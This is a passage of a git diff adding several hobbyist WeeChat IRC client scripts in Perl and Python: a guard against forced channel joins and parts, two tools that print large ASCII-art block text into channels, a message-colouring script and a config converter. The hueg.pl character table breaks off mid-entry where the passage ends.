+	nobufs => ['If 1, do not create buffers for forcejoined channels', '0'],
+	timeout =>
+		['Delay in milliseconds to wait for server to send JOIN after join',
+		'60000'],
+	);
+
+# %channels: channels we joined and received JOIN / NAMES for
+# %zombie: channels we joined but aren't yet in
+# %part: channels we were forced into and will part soon
+# %partbuf: buffers belonging to parted channels, we'll close these on
+#           /antifuck part
+our (%channels, %zombie, %part, %partbuf, $fuckbuf, $timeout_cb, $gc_cb);
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::hook_command('antifuck', $SCRIPT_DESC, 'part', <<'HELP',
+This script defends against forced joins, such as from irssi's fuckyou.pl or
+from channel forwards, as well as forced parts, such as from the /remove
+command. You can configure certain behaviour using the options under
+"plugins.var.perl.antifuck.*". Configure rejoin-on-/remove with the
+irc.server_default.autorejoin and .autorejoin_delay commands.
+
+Running "/antifuck part" will close all forcejoined channels and part them where
+appropriate.
+HELP
+		'part', 'cmd_antifuck', '');
+	weechat::hook_signal('irc_server_connected', 'irc_connect', '');
+	weechat::hook_signal('irc_server_disconnected', 'irc_disconnect', '');
+	weechat::hook_signal('irc_channel_opened', 'buffer_opened', '');
+	weechat::hook_signal('buffer_closed', 'buffer_closed', '');
+	weechat::hook_signal('*,irc_out1_join', 'client_join', '');
+	weechat::hook_signal('*,irc_out1_part', 'client_part', '');
+	weechat::hook_signal('*,irc_raw_in_001', 'irc_001', '');
+	weechat::hook_signal('*,irc_raw_in_470', 'irc_470', '');
+	weechat::hook_modifier('irc_in_366', 'irc_366', '');
+	weechat::hook_modifier('irc_in_join', 'irc_join', '');
+	weechat::hook_modifier('irc_in_part', 'irc_part', '');
+
+	for my $option (keys %OPTIONS) {
+		weechat::config_set_plugin($option, $OPTIONS{$option}[1])
+		 unless weechat::config_is_set_plugin($option);
+		weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
+	}
+
+	my $iptr = weechat::infolist_get('buffer', '', '');
+
+	while (weechat::infolist_next($iptr)) {
+		next unless weechat::infolist_string($iptr, 'plugin_name') eq 'irc';
+		my $buf = weechat::infolist_pointer($iptr, 'pointer');
+		$channels{
+			lc weechat::buffer_get_string($buf, 'localvar_server')}{
+			lc weechat::buffer_get_string($buf, 'localvar_channel')} = 1;
+	}
+	weechat::infolist_free($iptr);
+}
+
+sub mynick
+{
+	my ($buf, $nick) = ($_[0], $_[1]);
+
+	return lc weechat::buffer_get_string($buf, 'localvar_nick') eq lc $nick;
+}
+
+sub ignored
+{
+	my $server = shift;
+	my $ignore_conf = lc weechat::config_get_plugin('ignore');
+
+	return $ignore_conf =~ /(^|,)$server($|,)/;
+}
+
+sub nobufs { weechat::config_get_plugin('nobufs') }
+
+sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
+sub ircparse { weechat::info_get_hashtable(irc_message_parse =>
+	{ message => shift }) }
+
+sub servchan
+{
+	my $buf = shift;
+
+	return (lc weechat::buffer_get_string($buf, 'localvar_server'),
+		lc weechat::buffer_get_string($buf, 'localvar_channel'));
+}
+
+sub reset_gc
+{
+	weechat::unhook($gc_cb) if $gc_cb;
+	$gc_cb = weechat::hook_timer(weechat::config_get_plugin('timeout'), 0, 1,
+		'run_gc', '');
+}
+
+sub cmd_antifuck
+{
+	my (undef, $buffer, $args) = @_;
+
+	if ($args eq 'part') {
+		# TODO: we really need to spend more time here making sure we send the
+		# fewest PARTs possible, a la irc_join_delay
+		weechat::buffer_close($fuckbuf);
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub fuckbuf_input { return weechat::WEECHAT_RC_OK; }
+
+sub fuckbuf_close
+{
+	weechat::buffer_close($_) for (keys %partbuf);
+	%partbuf = ();
+	$fuckbuf = '';
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_connect
+{
+	my $server = pop;
+	my ($autojoin) = (weechat::config_string(weechat::config_get(
+		"irc.server.$server.autojoin")) =~ /^([^ ]*)/);
+
+	$zombie{$server}{$_} = 1 for (split ',', lc($autojoin));
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_disconnect
+{
+	my $server = pop;
+
+	$server = lc $server;
+	delete $channels{$server};
+	delete $zombie{$server};
+	delete $part{$server};
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub buffer_opened {
+	my $buffer = pop;
+	my ($server, $channel) = servchan($buffer);
+	return weechat::WEECHAT_RC_OK if exists $channels{$server}{$channel};
+	return weechat::WEECHAT_RC_OK if ignored($server);
+
+	$fuckbuf = weechat::buffer_new(
+		'antifuck',
+		'fuckbuf_input',
+		'',
+		'fuckbuf_close',
+		''
+		) unless $fuckbuf;
+
+	weechat::buffer_merge($buffer, $fuckbuf);
+	#return weechat::WEECHAT_RC_OK unless weechat::config_get_plugin('autopart');
+
+	$partbuf{$buffer} = 1;
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub buffer_closed {
+	my $buffer = pop;
+
+	delete $partbuf{$buffer};
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub client_join
+{
+	my (undef, $server, $channel) = (shift,
+		shift =~ /(.+),irc_out1_join/i,
+		shift =~ /^join :?([^ ]*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+
+	reset_gc();
+
+	($_ eq '0' ? %{$channels{$server}} = () : $zombie{$server}{$_} = 1)
+		for (split ',', $channel);
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub client_part
+{
+	my (undef, $server, $channel) = (shift,
+		shift =~ /(.+),irc_out1_part/i,
+		shift =~ /^part ([^ ]*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+
+	delete $channels{$server}{$_} for (split ',', $channel);
+	return weechat::WEECHAT_RC_OK;
+}
+
+# RPL_WELCOME
+sub irc_001
+{
+	my (undef, $server, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_001/, shift);
+
+	$server = lc $server;
+	return weechat::WEECHAT_RC_OK unless $message =~ / :- Welcome to ZNC -$/;
+
+	my $ignore_conf = lc weechat::config_get_plugin('ignore');
+	return weechat::WEECHAT_RC_OK if $ignore_conf =~ /(^|,)$server($|,)/;
+
+	weechat::config_set_plugin('ignore', "$ignore_conf,$server");
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_join
+{
+	my ($server, $message, $msghash) = (lc $_[2], $_[3], ircparse($_[3]));
+	my ($nick, $channel) = ($msghash->{nick}, lc $msghash->{channel});
+	my $buffer = ircbuf("$server.$channel");
+
+	return $message if exists $channels{$server}{$channel};
+	if (exists $zombie{$server}{$channel} || ignored($server)) {
+		delete $zombie{$server}{$channel};
+		$channels{$server}{$channel} = 1;
+		return $message;
+	}
+	# XXX return $message unless mynick($buffer, $nick);
+
+	$part{$server}{$channel} = 1;
+	$timeout_cb = weechat::hook_timer(
+		weechat::config_get_plugin('delay'), 0, 1, 'irc_join_delay', $buffer)
+		unless $timeout_cb || !weechat::config_get_plugin('autopart');
+
+	return $message unless nobufs();
+
+	$fuckbuf = weechat::buffer_new(
+		'antifuck',
+		'fuckbuf_input',
+		'',
+		'fuckbuf_close',
+		''
+		) unless $fuckbuf;
+	weechat::print($fuckbuf, weechat::prefix('join').
+		weechat::color('irc.color.message_join').
+		'You were forced to join '.weechat::color('chat_channel').$channel.
+		weechat::color('irc.color.message_join').', leaving');
+
+	return '';
+}
+
+# RPL_ENDOFNAMES
+sub irc_366
+{
+	my ($server, $message) = ($_[2], $_[3]);
+	my ($nick, $channel) = $message =~ /^:[^ ]* 366 ([^ ]*) ([^ ]*)/i;
+	my $buffer = ircbuf("$server.$channel");
+	($server, $channel) = (lc $server, lc $channel);
+
+	return $message if exists $channels{$server}{$channel};
+	return '' if nobufs();
+
+	weechat::print($buffer, weechat::prefix('network').
+		'Forcejoined, not syncing modes');
+
+	return '';
+}
+
+# ERR_LINKCHANNEL
+sub irc_470
+{
+	my (undef, $server, $oldchan, $newchan) = (shift,
+		shift =~ /(.+),irc_raw_in_470/,
+		shift =~ /^:[^ ]* 470 [^ ]+ ([^ ]+) ([^ ]+)/);
+	($server, $oldchan, $newchan) = (lc $server, lc $oldchan, lc $newchan);
+
+	delete $channels{$server}{$oldchan};
+	$channels{$server}{$newchan} = 1 if weechat::config_get_plugin('forward');
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_join_delay
+{
+	my $buffer = shift;
+
+	for my $server (keys %part) {
+		my $chans = '';
+
+		for my $chan (keys %{$part{$server}}) {
+			if (length($chans) + length($chan) > 500) {
+				weechat::hook_signal_send('irc_input_send',
+					weechat::WEECHAT_HOOK_SIGNAL_STRING,
+					"$server;;priority_low;;/part $chans");
+				$chans = '';
+			}
+
+			$chans .= "$chan,";
+		}
+
+		weechat::hook_signal_send('irc_input_send',
+			weechat::WEECHAT_HOOK_SIGNAL_STRING,
+			"$server;;priority_low;;/part $chans");
+	}
+	$timeout_cb = '';
+	%part = ();
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub run_gc
+{
+	%zombie = ();
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_part
+{
+	my ($server, $message, $msghash) = ($_[2], $_[3], ircparse($_[3]));
+	my ($arj, $arj_delay, $arjd, $arjd_delay) = (
+		weechat::config_get("irc.server.$server.autorejoin"),
+		weechat::config_get("irc.server.$server.autorejoin_delay"),
+		weechat::config_get("irc.server_default.autorejoin"),
+		weechat::config_get("irc.server_default.autorejoin_delay")
+		);
+	return $message unless (
+		weechat::config_option_is_null($arj) ?
+		weechat::config_boolean($arjd) :
+		weechat::config_boolean($arj)
+		);
+
+	my ($nick, $channel, $reason) = ($msghash->{nick}, $msghash->{channel},
+		$msghash->{text});
+
+	my $buffer = ircbuf("$server.$channel");
+	my ($lserver, $lchannel) = (lc $server, lc $channel);
+
+	return $message unless mynick($buffer, $nick);
+	return $message unless exists $channels{$lserver}{$lchannel};
+	return $message if ignored($lserver);
+
+	weechat::print($buffer, weechat::prefix('quit').
+		weechat::color('irc.color.message_quit').
+		'You were forced to part '.weechat::color('chat_channel').$channel.
+		weechat::color('chat_delimiters').' ('.weechat::color('reset').
+		$reason.weechat::color('chat_delimiters').')'.
+		weechat::color('irc.color.message_quit').', rejoining');
+	my $delay = (
+		weechat::config_option_is_null($arj_delay) ?
+		weechat::config_integer($arjd_delay) :
+		weechat::config_integer($arj_delay)
+		);
+	weechat::command($buffer, ($delay ? "/wait $delay " : "").
+		"/join $channel");
+
+	return '';
+}
diff --git a/weechat-scripts/banner.pl b/weechat-scripts/banner.pl
new file mode 100644
index 0000000..97cca29
--- /dev/null
+++ b/weechat-scripts/banner.pl
@@ -0,0 +1,332 @@
+use strict;
+use warnings;
+no strict 'subs';
+
+my $SCRIPT_NAME = 'banner';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.0';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Banner text';
+our (%queue, %timer);
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::hook_command('banner', 'Banner text',
+		"[-nick|-key|-limit] text",
+		"-nick: send to /nick command\n".
+		"-key: send as /mode +k (doesn't work on all ircds)\n".
+		"-limit: send as /mode +l\n",
+		'', 'cmd_banner', '');
+}
+
+sub cmd_banner
+{
+	my ($buffer, $cmd) = ($_[1], $_[2]);
+	my ($flag, $text) = $cmd =~ /^(-nick|-key|-limit|) *(.*)$/;
+	my @output;
+	my $prefix = '/msg *';
+	my $nick = weechat::info_get('irc_nick',
+		weechat::buffer_get_string($buffer, 'localvar_server'));
+
+my @chars = ('````````^',
+'XX``XXXXX',
+'``````XXX
+`````````
+``````XXX',
+'``X```X``
+XXXXXXXXX
+``X```X``
+XXXXXXXXX
+``X```X``',
+'`````XX``
+`X``X``X`
+XX``X``XX
+`X``X``X`
+``XX`````',
+'```X```XX
+XX``X``XX
+XX```X```',
+'```X`X```
+X`X`X`X`X
+``X```X``',
+'``````XXX',
+'`XXXXXXX`
+X```````X',
+'X```````X
+`XXXXXXX`',
+'``````X`X
+```````X`
+``````X`X',
+'````X````
+```XXX```
+````X````',
+'X````````
+`XX``````',
+'````X```^
+````X````',
+'X````````',
+'XXX``````
+```XXX```
+``````XXX',
+'`XXXXXXX`
+X```````X
+`XXXXXXX`',
+'X``````X`
+XXXXXXXXX
+X````````',
+'XXX````X`
+X``XX```X
+X````XXX`',
+'`X`````X`
+X```X```X
+`XXX`XXX`',
+'````XXX``
+````X``X`
+XXXXXXXXX',
+'X```XXXXX
+X```X```X
+`XXX````X',
+'`XXXXXXX`
+X```X```X
+`XXX`````',
+'XXX`````X
+```XXX``X
+``````XXX',
+'`XXX`XXX`
+X```X```X
+`XXX`XXX`',
+'`````XXX`
+X```X```X
+`XXXXXXX`',
+'``XX`XX``',
+'`X```````
+``XX`XX``',
+'````X````
+```X`X```
+``X```X``',
+'```X`X```
+```X`X``^
+```X`X```',
+'``X```X``
+```X`X```
+````X````',
+'```````X`
+XX``X```X
+`````XXX`',
+'`XXXXXXX`
+X``XXX``X
+X`X```X`X
+X`XXXXXXX',
+'XXXXXXXX`
+````X```X
+XXXXXXXX`',
+'XXXXXXXXX
+X```X```X
+`XXX`XXX`',
+'`XXXXXXX`
+X```````X
+`X`````X`',
+'XXXXXXXXX
+X```````X
+`XXXXXXX`',
+'XXXXXXXXX
+X```X```X
+X```````X',
+'XXXXXXXXX
+````X```X
+````````X',
+'`XXXXXXX`
+X```````X
+`XXX```X`',
+'XXXXXXXXX
+````X````
+XXXXXXXXX',
+'X```````X
+XXXXXXXXX
+X```````X',
+'`X``````X
+X```````X
+`XXXXXXXX',
+'XXXXXXXXX
+````X````
+```X`X```
+XXX```XXX',
+'XXXXXXXXX
+X````````',
+'XXXXXXXXX
+``````XX`
+``XXXX```
+``````XX`
+XXXXXXXXX',
+'XXXXXXXXX
+``````XX`
+```XXX```
+`XX``````
+XXXXXXXXX',
+'XXXXXXXXX
+X```````X
+XXXXXXXXX',
+'XXXXXXXXX
+````X```X
+`````XXX`',
+'`XXXXXXXX
+XX``````X
+XXXXXXXXX
+X````````',
+'XXXXXXXXX
+````X```X
+XXXX`XXX`',
+'`X```XXX`
+X```X```X
+`XXX```X`',
+'````````X
+XXXXXXXXX
+````````X',
+'XXXXXXXXX
+X````````
+XXXXXXXXX',
+'```XXXXXX
+XXX``````
+```XXXXXX',
+'`XXXXXXXX
+X````````
+`XXXX````
+X````````
+`XXXXXXXX',
+'XXX```XXX
+```XXX```
+XXX```XXX',
+'`````XXXX
+XXXXX````
+`````XXXX',
+'XXX`````X
+X``XXX``X
+X`````XXX',
+'XXXXXXXXX
+X```````X',
+'``````XXX
+```XXX```
+XXX``````',
+'X```````X
+XXXXXXXXX',
+'```````X`
+````````X
+```````X`',
+'X````````
+X```````^
+X````````',
+'````````X
+```````X`',
+'`X``X````
+X`X`X````
+XXXX`````',
+'XXXXXXXXX
+X```X````
+`XXX`````',
+'`XXX`````
+X```X````
+X```X````',
+'`XXX`````
+X```X````
+XXXXXXXXX',
+'`XXX`````
+X`X`X````
+X`XX`````',
+'XXXXXXXX`
+````X```X',
+'X``X`````
+X`X`X````
+`XXXX````',
+'XXXXXXXXX
+````X````
+XXXX`````',
+'XXXXX``X`',
+'X````````
+`XXXX``X`',
+'XXXXXXXXX
+````X````
+XXXX`X```',
+'X```````X
+XXXXXXXXX
+X````````',
+'XXXXX````
+````X````
+XXXX`````
+````X````
+XXXX`````',
+'XXXXX````
+````X````
+XXXX`````',
+'XXXXX````
+X```X````
+XXXXX````',
+'XXXXX````
+`X``X````
+``XX`````',
+'``XX`````
+`X``X````
+XXXXX````',
+'XXXXX````
+````X````',
+'X``X`````
+X`X`X````
+`X``X````',
+'`XXXXXXX`
+X```X````',
+'`XXXX````
+X````````
+XXXXX````',
+'``XXX````
+XX```````
+``XXX````',
+'`XXXX````
+X````````
+`XXX`````
+X````````
+`XXXX````',
+'XX`XX````
+``X``````
+XX`XX````',
+'X``XX````
+X`X``````
+`XXXX````',
+'XX``X````
+X`X`X````
+X``XX````',
+'````X````
+XXXX`XXXX
+X```````X',
+'XXXXXXXXX',
+'X```````X
+XXXX`XXXX
+````X````',
+' ```````X`
+````````X
+```````X`
+````````X');
+
+	for ($flag) {
+		/-nick/  and $prefix = '/nick', last;
+		/-key/   and $prefix = '/mode +k', last;
+		/-limit/ and $prefix = '/mode +l', last;
+	}
+
+	if ($flag eq '-limit') { $chars[$_] =~ y/`X/18/ for (0 .. (@chars - 1)) }
+
+	for my $char (split //, $text) {
+		push @output, $flag eq '-limit' ? '111111111' : '`````````';
+		push @output, split /\n/, $chars[ord($char) - 0x20];
+	}
+
+	weechat::command($buffer, "$prefix $_") for @output;
+
+	for ($flag) {
+		/-nick/  and weechat::command($buffer, "/nick $nick"), last;
+		/-key/   and weechat::command($buffer, "/mode +k `````````"),
+		             weechat::command($buffer, "/mode -k `````````"),
+		             last;
+		/-limit/ and weechat::command($buffer, "/mode -l"), last;
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
diff --git a/weechat-scripts/colo.py b/weechat-scripts/colo.py
new file mode 100644
index 0000000..beec5ab
--- /dev/null
+++ b/weechat-scripts/colo.py
@@ -0,0 +1,170 @@
+# -*- coding: utf-8 -*-
+#
+# Released into the Public Domain
+
+"""colo: make your chats noticable"""
+
+import random
+import re
+import weechat
+
+SCRIPT_NAME    = "colo"
+SCRIPT_AUTHOR  = "The Krusty Krab <wowaname@volatile.ch>"
+SCRIPT_VERSION = "2.2"
+SCRIPT_LICENSE = "Public domain"
+SCRIPT_DESC    = "Makes your chats noticable"
+
+# script options
+settings = {
+	"fmt": (
+		"%c13♥ %0%s%o %c13♥",
+		"Format string for text. %0 - %9 are different colours, %s is text, "
+		"%c %b %u %r %o are ^C ^B ^U ^R ^O respectively, and %% is a literal "
+		"percent sign. %0 is the primary colour that should be used with %s.",
+		),
+	"fgs": (
+		"04,05,06,13",
+		"Colour codes to cycle for the foreground. "
+		"Leave blank for no foreground colours.",
+		),
+	"bgs": (
+		"",
+		"Colour codes to cycle for the background. "
+		"Leave blank for no background colours.",
+		),
+	"ignore_buffers": (
+		"bitlbee.*,scripts",
+		"List of buffers to ignore. Glob matches unless "
+		"you prefix the name with 're:'.",
+		),
+	"whitelist_buffers": (
+		"",
+		"List of buffers to whitelist. Glob match unless "
+		"you prefix the name with 're:'. Useful with "
+		"ignore_buffers = \"*\"",
+		),
+	"whitelist_cmds": (
+		"me,amsg,say",
+		"Commands to colour.",
+		),
+	"profiles": (
+		"> greentext,! alert",
+		"List of prefix/profile pairs. If you type one of "
+		"these prefixes at the beginning of your message, "
+		"the options will switch to (profile)_pre, "
+		"(profile)_suf, (profile)_fgs, and (profile)_bgs. ",
+		),
+	"greentext_fmt": "%c3> %s",
+	"alert_fmt": "%c1,8/!\\%c8,1 %s %o%c1,8/!\\"
+}
+
+
+if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENSE,
+ SCRIPT_DESC, "", ""):
+	for opt, val in settings.iteritems():
+		setting, desc = val if type(val) == tuple else (val, "")
+		if desc: weechat.config_set_desc_plugin(opt, desc)
+		if weechat.config_is_set_plugin(opt): continue
+		weechat.config_set_plugin(opt, setting)
+
+	weechat.hook_modifier("input_text_for_buffer", "cb_colo", "")
+
+# prevent looping
+nest = False
+
+def glob_match (haystack, needle):
+	return re.search("^%s$" %
+	 re.escape(haystack).replace(r"\?", ".").replace(r"\*", ".*?"),
+	 needle)
+
+def is_command (string):
+	return (string.startswith("/") and not string.startswith("/ ") and
+	 string != "/" and string.split(" ", 1)[0].split("\n", 1)[0].find("/", 1)
+	 < 0)
+
+def cb_colo (data, mod, buf, input):
+	global nest
+	if nest:
+		nest = False
+	#	return input
+	buffer_name = weechat.buffer_get_string(buf, "name").lower()
+	output = ""
+	profile = ""
+
+	for pattern in weechat.config_get_plugin("whitelist_buffers").lower().split(","):
+		if (pattern.startswith("re:") and
+		 re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
+			break
+	else:
+		for pattern in weechat.config_get_plugin("ignore_buffers").lower().split(","):
+			if (pattern.startswith("re:") and
+			 re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
+				return input
+
+	if not input:
+		return input
+
+	if is_command(input):
+		for cmd in weechat.config_get_plugin("whitelist_cmds").lower().split(","):
+			if not input.startswith("/%s " % cmd): continue
+			output = "/%s " % cmd
+			input = input.split(" ", 1)[1] if " " in input else ""
+			break
+		else:
+			# XXX
+			return input.replace('\r','')
+
+	if input.startswith("//"): input = input[1:]
+
+	for profile_pairs in weechat.config_get_plugin("profiles").split(","):
+		prefix, name = profile_pairs.split()
+		if not input.startswith("%s " % prefix): continue
+		profile = "%s_" % name
+		input = input.split(" ",1)[1] if " " in input else ""
+		for opt in ("fmt", "fgs", "bgs"):
+			if weechat.config_is_set_plugin(profile + opt): continue
+			weechat.config_set_plugin(profile + opt, "")
+		break
+
+	fgs = weechat.config_get_plugin("%sfgs" % profile).split(",")
+	bgs = weechat.config_get_plugin("%sbgs" % profile).split(",")
+	fmt = weechat.config_get_plugin("%sfmt" % profile).split("%%")
+	
+	for i in xrange(len(fmt)):
+		fmt[i] = fmt[i].replace("%c", "\x03").replace("%b",
+		 "\x02").replace("%u", "\x1f").replace("%r",
+		 "\x16").replace("%o", "\x0f")
+		if fgs == [""] and bgs == [""]: continue
+		for j in xrange(10):
+			base = "\x03%s%s%s" % (
+				random.choice(fgs),
+				"," if bgs != [""] else "",
+				random.choice(bgs),
+				)
+			fmt[i] = fmt[i].replace("%%%d" % j, base)
+			if j: continue
+			input = re.sub(
+				"\x03([^0-9])",
+				"\x03%s\\1" % base,
+				input.replace("\x0f","\x0f%s" % base))
+
+	fmt = "%".join(fmt)
+	nest = is_command(fmt)
+	servername = weechat.buffer_get_string(buf, "localvar_server")
+	iptr = weechat.infolist_get("irc_server", "", servername)
+	weechat.infolist_next(iptr)
+	long_lines = weechat.infolist_integer(iptr, "cap_long_lines")
+	weechat.infolist_free(iptr)
+
+	nicklen = weechat.info_get("irc_server_isupport_value", "%s,NICKLEN" %
+	 servername)
+	if not nicklen: nicklen = 9
+
+	l = ((512 if long_lines else 0) + 409 - len(fmt) - int(nicklen))
+	o = []
+	for line in input.replace("\r", "\n").split("\n"):
+		if not line: continue
+		for i in xrange(0, len(line), l):
+			o.append(fmt.replace("%s", line[i:i+l].rstrip()))
+
+	return output + "\n".join(o)
diff --git a/weechat-scripts/coloconv.pl b/weechat-scripts/coloconv.pl
new file mode 100755
index 0000000..85091a4
--- /dev/null
+++ b/weechat-scripts/coloconv.pl
@@ -0,0 +1,45 @@
+#!/usr/bin/perl
+
+=pod
+
+Reads plugins.conf from stdin, writes new plugins.conf to stdout, and
+writes commands to restore the rest of the config options to stderr
+
+Suggested operation:
+cd .weechat
+./coloconv.pl < plugins.conf > plugins.conf.new 2> commands
+diff plugins.conf plugins.conf.new # to make sure nothing got clobbered
+
+Then in WeeChat:
+/exec -o .weechat/commands
+
+=cut
+
+my %profs;
+my $desc = 0;
+
+while (<>) {
+	$desc and print, next;
+	$_ !~ /^python\.embellish\./ and print, next;
+	s/^python\.embellish/python.colo/;
+	$_ !~ /^python\.colo\..*(?:pre|suf)/ and print, next;
+	$_ eq '[desc]' and ($desc = 1), print, next;
+
+	my ($prof, $k, $v) = /^python\.colo\.(.*)(pre|suf) = "(.*)"$/;
+	$v =~ s/\x02/%b/g;
+	$v =~ s/\x03/%c/g;
+	$v =~ s/\x0f/%o/g;
+	$v =~ s/\x16/%r/g;
+	$v =~ s/\x1f/%u/g;
+
+	if ($k eq 'pre') {
+		$profs{$prof} = "%0$v%o%0 %s%o%0 ";
+	} elsif ($k eq 'suf') {
+		$profs{$prof} .= $v;
+	}
+}
+
+for my $prof (keys %profs) {
+	print STDERR "/reload\n";
+	print STDERR "/set plugins.var.python.colo.${prof}fmt $profs{$prof}\n";
+}
diff --git a/weechat-scripts/hueg.pl b/weechat-scripts/hueg.pl
new file mode 100644
index 0000000..f16c908
--- /dev/null
+++ b/weechat-scripts/hueg.pl
@@ -0,0 +1,1255 @@
+#!/usr/bin/perl
+
+
+######
+# hueg.pl PRO MODE
+# modded by ma0 and others
+# respekts 2 jakk and others
+######
+
+$maxchars = 10; #num of chars b4 split
+my $reverse = 0;
+my $flip = 0;
+my $mirror = 0;
+my $scale = 1;
+
+my $SCRIPT_NAME = 'hueg';
+my $SCRIPT_AUTHOR = 'LIFELIKE <i@wnt2die.com>';
+my $SCRIPT_VERSION = '1.1';
+my $SCRIPT_LICENCE = 'GPL3';
+my $SCRIPT_DESC = 'make text hueg LOL';
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::hook_command('hueg', '', '<string> [options]',
+		"      -rep <num>     num of times to scroll msg\n".
+		"      -re            reverses text\n".
+		"      -flip          flips text\n".
+		"      -mir           mirrors your text [NOT WORKIN LOL]\n".
+		"      -scale <num>   scales shit\n".
+		"      num,num,num    fg, shadow, bg colors (bg optional)",
+		'-rep|-re|-flip|-mir|-scale|%*', 'hueg', '');
+}
+
+sub hueg {
+	(undef, $buffer, $data) = @_;
+	$in = $data;
+
+	if ($in =~ /-rep (\d+)/i) {
+		$rep = $1;
+		$in =~ s/-rep \d+//i;
+	} else {
+		$rep = 1;
+	}
+
+	if($in =~ /-scale (\d+)/i) {
+		$scale = $1;
+		$in =~ s/-scale \d+//i;
+	} else {
+		$scale = 1;
+	}
+
+	if($in =~ /-re/i) {
+		$reverse = 1;
+		$in =~ s/-re//i;
+	} else {
+		$reverse = 0;
+	}
+
+	if($in =~ /-flip/i){
+		$flip = 1;
+		$in =~ s/-flip//i;
+	} else {
+		$flip = 0;
+	}
+
+	if($in =~ /-mir/i) {
+		$mirror = 1;
+		$in =~ s/-mir//i;
+	} else {
+		$mirror = 0;
+	}
+
+	$in =~ s/\s+$//;
+
+	if ($in eq '') {
+		weechat::print($buffer, weechat::prefix('error').
+			"Invalid syntax; see /help hueg");
+		return weechat::WEECHAT_RC_ERROR;
+	} else {
+		until ($rep == 0) {
+			colors();
+			parse();
+			process();
+			select(undef,undef,undef,.1);
+			$rep--;
+		}
+		return weechat::WEECHAT_RC_OK;
+	}
+}
+
+sub colors {
+	if ($data =~ /(\d+),(\d+),(\d+)/) {
+		$c2 = "\cC$1,$1";   #fg
+		$c1 = "\cC$2,$2";   #sh
+		$c3 = "\cC$3,$3";   #bg
+		$in =~ s/\d+,\d+,\d+//;
+	} elsif ($data =~ /(\d+),(\d+)/) {
+		$c2 = "\cC$1,$1";   #fg
+		$c1 = "\cC$2,$2";   #sh
+		$c3 = "\cO";        #bg (trans)
+		$in =~ s/\d+,\d+//;
+	} else {
+		$r1 = $r2 = 0;
+		until ($r1 > 1) { $r1 = int rand(15); }
+		until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
+		$c2 = "\cC$r1,$r1"; #fg (rand)
+		$c1 = "\cC$r2,$r2"; #sh (rand)
+		$c3 = "\cO";        #bg (trans)
+	}
+	db1();
+}
+
+sub parse {
+	$in =~ s/(\S{$maxchars})/$1 /g;
+	undef @s0;
+	@s0 = split(' ',$in);
+	undef @s1;
+	$s1n = 0;
+	for $n (@s0) {
+		$nlen = length($n);
+		$slen = length($s1[$s1n] // '') + $nlen;
+		if ($slen <= $maxchars) {
+			$s1[$s1n] .= "$n ";
+		} else {
+			$s1n++;
+			$s1[$s1n] .= "$n ";
+		}
+	}
+}
+
+sub process {
+	for $n (@s1) { #each line
+		if ($reverse) {
+			$n = reverse $n;
+		}
+
+		$n =~ s/\s$//;
+		$n =~ s/^\s//;
+		undef @s2;
+		@s2 = split('',$n);
+		my $cur; # current string
+		my $tmp;
+
+		for $f (0..8*$scale) {
+			for $l (@s2) { #each letter
+				$all .= "$c3 \cO";
+
+				if($flip) { $cur = $db{$l}[(9-$f)/$scale] // $db{'?'}[(9-$f)/$scale]; } #line of letter
+				else { $cur = $db{$l}[$f/$scale] // $db{'?'}[$f/$scale]; }
+
+				$whitespace = " " x $scale;
+				$cur =~ s/ /$whitespace/g;
+				$whitespace = "#" x $scale;
+				$cur =~ s/#/$whitespace/g;
+				$whitespace = "." x $scale;
+				$cur =~ s/\./$whitespace/g;
+				$all .= $cur;
+			}
+
+			$all .= "$c3 ";
+			if($mirror) { $all = reverse $all; }
+			weechat::command($buffer, "/msg * $all");
+			$all = '';
+		}
+
+	}
+}
+
+#------------------#
+#   character db   #
+#       lol        #
+#------------------#
+
+sub db1 {
+%db = (
+" " => [
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+],
+"\cC" => [
+"$c3             ",
+"$c1.$c2##$c3  $c1.$c2#######$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2############$c3",
+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2#######$c3  $c1.$c2##$c3",
+"$c3             ",
+],
+"\cB" => [
+"$c3             ",
+"$c1.$c2##$c3  $c1.$c2#######$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2############$c3",
